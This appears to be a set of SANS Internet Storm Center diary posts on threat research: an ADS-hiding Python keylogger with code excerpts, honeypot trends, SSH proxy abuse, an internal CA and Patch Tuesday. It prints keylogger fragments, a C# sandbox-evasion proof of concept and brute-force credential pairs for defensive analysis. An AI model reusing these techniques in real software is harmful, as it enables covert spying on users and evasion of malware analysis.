If many malware samples try to be "filess" (read: they try to reduce their filesystem footprint to the bare minimum), another technique remains interesting: Alternate Data Streams or "ADS"[1]. This NTFS feature allows files to contain multiple data streams, enabling hidden or additional metadata to be stored alongside the main file content without being visible in standard file listings. A common usage of ADS is the "Mark of the Web"[2] that helps to flag files as suspicious or not depending on their origin.

I found a simple Python keylogger that implements an ADS to store the captured keystrokes:

hidden_dir = os.path.join(os.environ['APPDATA'], 'Microsoft\\Windows\\Cache')
os.makedirs(hidden_dir, exist_ok=True)
log_host_file = os.path.join(hidden_dir, "syscache.dat")
log_file = log_host_file + ":logdata"

A second layer of protection is implemented to hide the file using SetFileAttributesW()[3] with the flag 0x02:

try:
    FILE_ATTRIBUTE_HIDDEN = 0x02
    ctypes.windll.kernel32.SetFileAttributesW(log_host_file, FILE_ATTRIBUTE_HIDDEN)
except Exception as e:
    print(f"Failed to hide host file: {e}")

The script is a classic keylogger but it also implements a clipboard monitor to capture all text content:

try:
    win32clipboard.OpenClipboard()
    if win32clipboard.IsClipboardFormatAvailable(win32clipboard.CF_TEXT):
        data = win32clipboard.GetClipboardData()
        win32clipboard.CloseClipboard()

The script (SHA256:9927159c39a0201e2fcd558c4716fc5cab7e1c6ab69a311f7a21cab3c5667980) has a low VT score (only 3/64) even if not obfuscated. The script does not have an exfiltration mechanism, therefore I presume that another one will take care of this!

How to detect if files have ADS on your file system? This can be achieve with a few lines of PowerShell:

Get-ChildItem -Recurse -Path C:\ | ForEach-Object {
    $streams = Get-Item $_.FullName -Stream * -ErrorAction SilentlyContinue
    if ($streams.Count -gt 1) { 
        $streams 
    }
}

Example:

PS C:\Users\REM> C:\Users\REM\Documents\ads_search.ps1

PSPath        : Microsoft.PowerShell.Core\FileSystem::C:\Users\REM\Desktop\PURCHASE_ORDER.exe::$DATA
PSParentPath  : Microsoft.PowerShell.Core\FileSystem::C:\Users\REM\Desktop
PSChildName   : PURCHASE_ORDER.exe::$DATA
PSDrive       : C
PSProvider    : Microsoft.PowerShell.Core\FileSystem
PSIsContainer : False
FileName      : C:\Users\REM\Desktop\PURCHASE_ORDER.exe
Stream        : :$DATA
Length        : 1044992

PSPath        : Microsoft.PowerShell.Core\FileSystem::C:\Users\REM\Desktop\PURCHASE_ORDER.exe:Zone.Identifier
PSParentPath  : Microsoft.PowerShell.Core\FileSystem::C:\Users\REM\Desktop
PSChildName   : PURCHASE_ORDER.exe:Zone.Identifier
PSDrive       : C
PSProvider    : Microsoft.PowerShell.Core\FileSystem
PSIsContainer : False
FileName      : C:\Users\REM\Desktop\PURCHASE_ORDER.exe
Stream        : Zone.Identifier
Length        : 608

[1] https://infosecwriteups.com/ntfs-filesystem-alternate-data-stream-ads-c0e4a2402563
[2] https://en.wikipedia.org/wiki/Mark_of_the_Web
[3] https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-setfileattributesw
 

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

The volume of honeypot logs changes over time. Very rarely are honeypot logs quiet, meaning that there are no internet scans or malicious activity generating logs. Honeypots can see large increases in activity [1], but this has tended to be the exception, rather than the rule. Within the last few months, however, there has been a dramatic increase in honeypot log volumes and how often these high volumes are seen. This has not just been from my residential honeypot, which has historically seen higher log volumes, but from all of the honeypots that I run and archive logs from frequently. 

Figure 1: Log volumes for multiple honeypots over the last 13-14 months. Recent activity has drowned out earlier traffic volumes, making them appear nonexistent. 

To help demonstrate that other logs do exist, the high volume contributors were filtered out. Any source network (/24 in size) that contributed more than 1,000,000 logs in a day was removed.

Figure 2: Log volumes over time when filtering out sources that have contributed more than 1,000,000 logs in a day. 

The source of the log volume has been from the web honeypot logs.

Figure 3: Web honeypot log volumes have been the highest contributor for these outliers. 

More activity can be seen earlier in the year when large volume contributors are taken out. Even though this allows us to see more data prior to April of 2025, there is still an obvious increase in the last few months. 

Figure 4: Web honeypot logs for the last 13-14 months, factoring out sources that have contributed more than 1,000,000 logs in a single day. 

Previous high volume periods are also unable to be seen easily due to the recent higher log volume. 

Figure 5: Previous days considered to be anomalous in terms of high-volume traffic barely register in comparison to recent web honeypot logs.

It has not been uncommon to see web honeypot files greater than 1 GB for a day of activity in the last couple of months. In the last few weeks, multiple honeypots have generated logs over 20 GB for one day of activity and for multiple days. In one day, a honeypot generated nearly 58 GB of web honeypot logs, which beat a previous "record" of ~35 GB.

Figure 6: The volumes are increasing, but are also happening more often, demonstrated by a significant rise in the average size of locally stored web honeypot logs.

So where are these logs coming from and what are they looking for? Since many source IP addresses were seen coming from overlapping subnets, the data was summarized by subnet. The data highlights that some subnets are focused on a small number of unique URL paths.

Figure 7: Common URLs accessed by subnets, with overall subnet activity and the most active IP address for each subnet.

Figure 8: 5 Most common URL paths seen for active subnets. 

There is a lot more data to look into, but this activity may require additional action for anyone hosting a honeypot and retaining additional logs. For me, I'm working on archiving more local logs more frequently to save space. This may mean doing high compression zipping of web honeypot logs, potentially twice a day. It may be necessary to consider having over 20 GB of logs per day for multiple days. If log backups and cleanup happen once per week, this may mean storage of 140 GB of just web honeypot logs between backups. 

[1] https://isc.sans.edu/diary/Overflowing+Web+Honeypot+Logs/30416
[2] https://isc.sans.edu/diary/Web+Scanning+SonicWall+for+CVE202120016+Update/31952/
[3] https://isc.sans.edu/diary/31906
 

--
Jesse La Grew
Handler

We have had a "newly registered domain" feed for a few years. This feed pulls data from ICANN's centralized zone data service (https://czds.icann.org) and TLS certificate transparency logs.

The ICANN CZDS is a good start, but it only offers data from top-level domains collaborating with ICANN. Missing are in particular country-level domains. Country-level zone files can be hard to come by, so we use TLS certificate transparency logs as a "cheap" alternative. Pretty much all domain registrars will, by default, create a "parked" website, and with that, they will make a certificate. Even if they do not, any halfway self-respecting phishing site will use TLS and register a certificate with a public certificate authority at one point. The TLS certificate transparency logs also help capture older domains.

Each day, we capture around 250,000 new domains using this system. But of course, we want to know which domains are used for malicious purposes. However, as the sample below shows, there are a lot of "odd" domain names.

So I searched for some commonly used criteria to identify "bad" domain names, and found these:

• A domain name is very short or very long
• The entropy of the domain name (is it just random characters?)
• Does it contain a lot of numbers or hyphens?
• Is it an international domain name, and if so, is it valid? Does it mix different scripts (=languages)?
• Does it contain keywords like "bank" or "login" that are often used with phishing sites, or brand names like "Apple" or "Google"?

We have now added a score to each domain name that can be used to rank them based on these criteria. You can find a daily report here, and the score was added to our "recentdomain" API feed. This is experimental, and the exact algorithm we use for the score will change over time.

We used to have an "old" supicous domain feed that was mostly based on correlating a few third party feeds, but over time these feeds went away or became commercial and we could no longer use them.

Feedback is very welcome.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

[This is a Guest Diary by Sihui Neo, an ISC intern as part of the SANS.edu BACS program]

As part of the SANS degree program curriculum, I had the opportunity to set up a honeypot to monitor log activities mimicking a vulnerable server. I used the AWS free tier EC2 instance to set up the honeypot sensor in Japan and deployed Cowrie, a SSH and Telnet honeypot designed to log brute force attacks and shell interaction performed by an attacker.

In addition to the sensor setup, to allow me to easily look at all the logs in a single platform, I purchased a separate virtual private server and installed ELK SIEM, following the setup instructions from ISC mentor, Guy Bruneau’s github page.[1] Then setup the sensor to send all logs to the SIEM server.

Since the setup of the honeypot, one of the interesting observations in logs was direct-tcp connection requests. More than 1000 different IPs within a month were seen to have made these requests and more than 75% were made to a single destination IP. In this post, I’ll cover how and why these connections are set up, and where the destination IP points to.

What did the logs look like?

Sample of direct-tcp connection request seen in honeypot logs

The sample log on the original event field seen above indicates that the request originated from 127.0.0.1 (the local loopback interface), but when looking at the source.ip in kibana, the actual source IPs were different external addresses. 

125.20.251.66 was the actual source IP

Using the source IP 125.20.251.66, I took a look at the traffic before the direct-tcp connection and the PCAP traffic.

Figure 1. Logs from 125.20.251.66 at the time of the direct-tcp connection request showing source port of 32069 in a red box

In Figure 1, I extracted the logs for traffic from source IP 125.20.251.66 as seen in kibana. The line direct-tcp connection request to 77.88.21.158:25 from 127.0.0.1:32069 is highlighted in the red box, yet the source address shows 125.20.251.66 while the source port matches 32069.

Additional evidence is in the PCAP. The entire stream below showed the connection using the source port of 42948, which was indeed the source port for the initial SSH connection as seen in the Figure 1 above, highlighted in a blue box, source IP seen in the last column.

Figure 2. PCAP and TCP stream for traffic from 125.20.251.66

Lastly, the SSH banner SSH-2.0-OpenSSH_7.4 was seen in Figure 1, highlighted in green as well as in the TCP Stream at the bottom of Figure 2. All these suggested that the traffic was being forwarded or proxied to help obscure the real source IP. 

So how does it work?

Reconnaissance and Initial access

As explained before, the attacker has to initiate a connection to the honeypot server to create a SSH tunnel and to do that, they require valid SSH login credentials. This is usually fulfilled by brute forcing. When looking at initial activities of IPs that had direct-tcp connection requests, they had a similar pattern of :

• Only attempting to connect to port 2222
• Throttled brute forcing attempts, meaning brute forcing attempts from the same IP were spaced out at least 2 hours if it failed.
• TTL of less than 50, means starting TTL is likely 64, which could be indicative of Linux/MAX OSX systems [3]
• SSH client hash fingerprint: acaa53e0a7d7ac7d1255103f37901306

After successfully obtaining valid SSH credentials, the SSH tunnel would usually be set up within the second.

Going somewhere?

As mentioned before, more than 1000 IPs were seen to have made these proxy connections in the honeypot and interestingly, the majority, more than 75%, were seen to be proxying to the destination IP of 77.88.21.158 at port 25.

77.88.21.158 port 25 seems to be the smtp server for yandex mail, based in Russia [4] which is a common blocked location for many countries.

Referencing the SSH tunnel diagram shown earlier, this likely means that the client set their email client to use ‘127.0.0.1:1080’ as the proxy, which instructed the email traffic to go through the established SSH tunnel to reach 77.88.21.158.

As the honeypot server does not really have SSH service on port 2222, the connection is closed quickly after the tunnel is set up and the PCAP logs do not capture outbound traffic to the destination IPs. 

What’s the worst that could happen?

Direct-tcp connections are usually a form of proxy connection that uses the honeypot server in this case, as an intermidiary to either mask origin IPs or to bypass traffic rules. The reason attackers use compromised servers instead of paid or free VPN is attribution and/or possibly consistency. Commercial VPN requires sign up and services like peer-to-peer networks do not usually allow users to choose the route or hops.

Establishing a SSH tunnel does not require root and can easily be set up as long as you have a valid user’s credentials to login to the SSH server (honeypot, in this case). In fact, brute forcing is one of the more common and easy tactics to gain access to vulnerable servers due to password leaks, reusing of passwords and default passwords.

Once your server is compromised and successfully used as a proxy, your server may be susceptible to:

• Malicious Traffic Attribution: Actors can route illegal activities (hacking, fraud, DDoS) through your server, making you appear responsible.
• Bandwidth Overuse: Proxy traffic consumes resources, which can lead to throttling by your host/ISP and extra costs especially in the cloud.
• IP Blacklisting: Your server’s IP may end up on firewall blacklists preventing you from your daily activities

[1] https://github.com/bruneaug/DShield-SIEM
[2] https://ma.ttias.be/socks-proxy-linux-ssh-bypass-content-filters/
[3] https://www.imperva.com/learn/performance/time-to-live-ttl/
[4] https://search.censys.io/hosts/77.88.21.158
[5] https://www.sans.edu/cyber-security-programs/bachelors-degree/

-----------
Guy Bruneau IPSS Inc.
My GitHub Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

There are several reasons why one would set up an internal certificate authority. Some are configured to support strong authentication schemes, some for additional flexibility and convenience. I am going to cover the second part. In particular, it can be helpful for developers to have an internal certificate authority to issue certificates for development purposes. Websites used for development and internal testing are usually only used by a few individuals and are generally only accessible via internal networks or VPNs. Often, these sites do not even use TLS. But there are a few reasons why you should consider running TLS on all sites, including internal development sites:

1. Browser preferences: Browsers are increasingly "forcing" TLS. Running a site without TLS can be inconvenient. In particular, if you use features like strict transport security, setting up exceptions for development sites (in particular APIs) can be messy.
2. Configuration Consistency: Keeping your development environment as close to "the real thing" as possible is best. The fewer changes you make, the less likely something will break. Some advanced JavaScript features (for example, geo-location) may not even work without TLS.
3. Security: Even in a more isolated development environment, TLS still provides developers an important safeguard to not expose themselves to additional risk. Even if you manage only to use test data, attackers could still use insecure development sites to inject code to pivot into developers' machines.

The obvious, simple solution would be just using a free service like Let's Encrypt to request developer certificates. But there are a few reasons why you probably do not want to do this:

1. Certificate Request Authentication: Development sites should not be exposed publicly, and the simple HTTP authentication for a website will likely not work. Alternatively, you could use DNS-based authentication schemes, but that would require providing developers with access to modify DNS settings. This can be done safely, but it takes a lot of work to get it right. Do not forget that Let's Encrypt also implements rate limits that may be exceeded if you request too many certificates.
2. Certificate Transparency: Public certificate authorities must publish all certificates they issue in certificate transparency logs. An attacker can use them to easily discover development systems if you use a public certificate authority to request certificates.
3. Flexibility: Your internal certificate authority does not have to comply with the same rules that public certificate authorities have to obey. Your certificates can be valid longer (or shorter), they can use internal domain names or even IP addresses. This is useful for development sites.

The next step is "how". How do you set up an easy-to-use certificate authority? OpenSSL documents the hard way. You create a certificate authority, and next, you use various scripts to create individual certificates. This works, but gets old quickly. There is a better way to set up a certificate authority that supports the "ACME" protocol to issue certificates. This is easier to manage centrally, and you will have more visibility into the issued certificates.

The easiest and cheapest way to get started is the open-source solution offered by Smallstep. Smallstep also provides several commercial solutions if you prefer support and additional integration features. As an added "bonus", it can also be used to manage SSH certificates.

The Smallstep instructions are good. One issue I ran into is that you need to initialize your CA before setting Smallstep up to run as a daemon. So follow the instructions in this order:

1. Install: https://smallstep.com/docs/step-ca/installation/ (I used Ubuntu 24.04 in a minimal-sized container on Proxmox)
2. Install jq if it is not already installed.
3. Initialize: https://smallstep.com/docs/step-ca/getting-started/
4. Run as a daemon: https://smallstep.com/docs/step-ca/certificate-authority-server-production/index.html#running-step-ca-as-a-daemon

Once it is all set up, all you need to do is

1 - Add the new certificate authority as a trusted CA to your browser (and or operating system)

2 - The first time you use "certbot" to request a certificate, add the following argument: --server https://yourinternalca/acme/acme/directory 

You should be able to use various validation schemes with smallstep. Please ensure the server smallstep is running and can resolve any hostnames you may use, but adding them to a host file will work.

Note that CAs you add manually do not have to obey the same rules as public certificate authorities. Certificates may be valid for longer; you may issue certificates for IP addresses, and you do not need to configure revocation or certificate transparency. 

---
Johannes B. Ullrich, Ph.D. Dean of Research, SANS.edu
Twitter|

Today, Microsoft released patches for 130 Microsoft vulnerabilities and 9 additional vulnerabilities not part of Microsoft's portfolio but distributed by Microsoft. 14 of these are rated critical. Only one of the vulnerabilities was disclosed before being patched, and none of the vulnerabilities have so far been exploited.

Noteworthy Vulnerabilities:

CVE-2025-49695 and CVE-2025-49696: Both vulnerabilities affect Microsoft Office, are rated critical, and are considered "more likely" to be exploited by Microsoft. These issues do not require user interaction, so the user does not need to open a document. The exploit could be triggered via the preview pane. Macs are affected as well, but a patch is currently only available for Windows.

CVE-2025-49719: This vulnerability has already been made public. It does allow for information disclosure on a Microsoft SQL Server. To patch, you must patch the OLE DB Driver. 

CVE-2025-49717: Exploitation is considered less likely for this vulnerability. But if exploited, it would allow code execution via a Microsoft SQL Server. Take this as additional motivation not to expose SQL servers.

CVE-2025-49704: I consider this vulnerability interesting as it appears to allow command/code injection in SharePoint. However, an attacker has to be authenticated to take advantage of this vulnerability.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Modern malware implements a lot of anti-debugging and anti-analysis features. Today, when a malware is spread in the wild, there are chances that it will be automatically sent into a automatic analysis pipe, and a sandbox. To analyze a sample in a sandbox, it must be "copied" into the sandbox and executed. This can happen manually or automatically. When people start the analysis of a suspicious file, they usually call it "sample.exe", "malware.exe" or "suspicious.exe". It's not always a good idea because it's can be detected by the malware and make it aware that "I'm being analyzed".

From a malware point of view, it's easy to detect this situation. Microsoft offers to Developers thousands of API calls that can be used for "malicious purposes". Let's have a look at GetModuleFileName()[1]. This API call retrieves the fully qualified path for the file that contains the specified module. The module must have been loaded by the current process. Normally, a "module" refers to a DLL but, in the Microsoft ecosystem, the main program is also a "module" (like a DLL is also a PE file but with exported functions)

If you read carefully the API description, it expects 3 parameters but the first name can be omitted (set to NULL):

"If this parameter is NULL, GetModuleFileName retrieves the path of the executable file of the current process."

Let's write a small program:

using System;
using System.Runtime.InteropServices;

class Program
{
    // Invoke declaration for GetModuleFileName
    [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
    static extern uint GetModuleFileName(IntPtr hModule, [Out] char[] lpFilename, uint nSize);

    static void Main(string[] args)
    {
        const int maxPath = 260;
        char[] buffer = new char[maxPath];
        uint length = GetModuleFileName(IntPtr.Zero, buffer, (uint)buffer.Length);

        // Get the exec basename
        string fullPath = new string(buffer, 0, (int)length);
        string exeName = System.IO.Path.GetFileName(fullPath);

        // List of potential sample names 
        string[] allowedNames = { 
            "sample.exe", 
            "malware.exe", 
            "malicious.exe", 
            "suspicious.exe", 
            "test.exe", 
            "submitted_sample.exe", 
            "file.bin", 
            "file.exe",
            "virus.exe",
            "program.exe"
        };

        foreach (var name in allowedNames)
        {
            if (string.Equals(exeName, name, StringComparison.OrdinalIgnoreCase))
            {
                // Executable name matched, silenyly exit!
                return;
            }
        }

        Console.WriteLine($"I'm {exeName}, looks good! Let's infect this host! }}:->");
    }
}

Let's compile and execute this file named "ISC_20250707.exe":

Once renamed as "malware.exe", the program will just silently exit! Simple but effective!

Of course, this is a simple proof-of-concept. In a real malware, there will be more tests implemented (ex: ignore the case) and the list of potential suspicious filenames will be obfuscated (or a dynamic list will be loaded from a 3rd-party website).

[1] https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getmodulefilenamea

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Just looked at our telnet/ssh honeypot data, and found some interesting new usernames that  attackers attempted to use:

"notachancethisisreal"

This username is likely used to detect Cowrie (and other) honeypots. Cowrie is often configured to accept logins randomly. No matter the username/password combination used, the login will succeed every few times. This is supposed to provide the illusion of a more "real" system, not just allowing some common default password, and not allowing each login to succeed. The password used with the username is "nopasswordforme73baby." Likely to pick a password that is highly unlikely to be used in a real system.

Any login that succeeds with this username and password will indicate that the system is a honeypot. So far, we have only had 31 login attempts with this username and password, all on July 1st.

"scadaadmin"

The name says it: It looks like they are looking for SCADA systems. The password used with this username is "P@$$W0rd". The password has been used "forever" and is popular, but the username is new. 

The username appears to be associated with "Rapid SCADA" systems, according to some AI results, but I was not able to confirm this in the manuals. Maybe just a hallucination. However, the default password is either 12345 or blank. They are looking for users who have tried to be more secure. I am not sure how they ended up with P@$$W0rd. They also appear to use "admin" and "12345" as default credentials. It isn't a serious SCADA system if it doesn't have simple default credentials like this.

"gpu001", "gpu002"

These appear to be common hostnames for network-accessible GPUs, but I wasn't able to confirm that these are actual usernames often used for these systems. But attackers are always out for more GPU/CPU power, so they may just give this a try hoping for the best. There are a few passwords that are used with these usernames, like '7777777', 'gpu001@2025', and '1111111'.

See anything else that is new and interesting? Or have any insight into the three usernames I listed above? Let me know! (see contact link on the left).

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|